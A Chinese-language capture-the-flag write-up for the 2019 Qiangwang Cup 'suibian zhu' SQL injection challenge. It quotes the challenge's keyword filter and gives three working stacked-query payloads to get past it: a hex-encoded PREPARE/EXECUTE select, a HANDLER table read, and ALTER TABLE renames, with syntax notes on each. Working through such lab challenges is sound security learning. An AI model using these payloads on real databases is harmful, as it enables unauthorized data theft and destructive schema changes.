2019强网杯随便注
2019强网杯随便注
过滤语句
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1' 1=1#
显示所字段
1';show tables;#
显示所有表
法一:
因为select被过滤了,所以先将select * from
1919810931114514
进行16进制编码再通过构造payload得
';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare xxxx from @a;execute xxxx;#
进而得到flag
prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。
法二:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
参考文章:https://blog.csdn.net/qq_43427482/article/details/109898934
# 打开一个表名为 tbl_name 的表的句柄
HANDLER tbl_name OPEN [ [AS] alias]
# 1、通过指定索引查看表,可以指定从索引那一行开始,通过 NEXT 继续浏览
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
# 2、通过索引查看表
# FIRST: 获取第一行(索引最小的一行)
# NEXT: 获取下一行
# PREV: 获取上一行
# LAST: 获取最后一行(索引最大的一行)
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
# 3、不通过索引查看表
# READ FIRST: 获取句柄的第一行
# READ NEXT: 依次获取其他行(当然也可以在获取句柄后直接使用获取第一行)
# 最后一行执行之后再执行 READ NEXT 会返回一个空的结果
>HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]
# 关闭已打开的句柄
HANDLER tbl_name CLOSE
法三:
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);# 然后通过1' or 1 = 1 #,成功获取到flag
- 修改表名:
ALTER TABLE 旧表名 RENAME TO 新表名;
- 修改字段:
ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;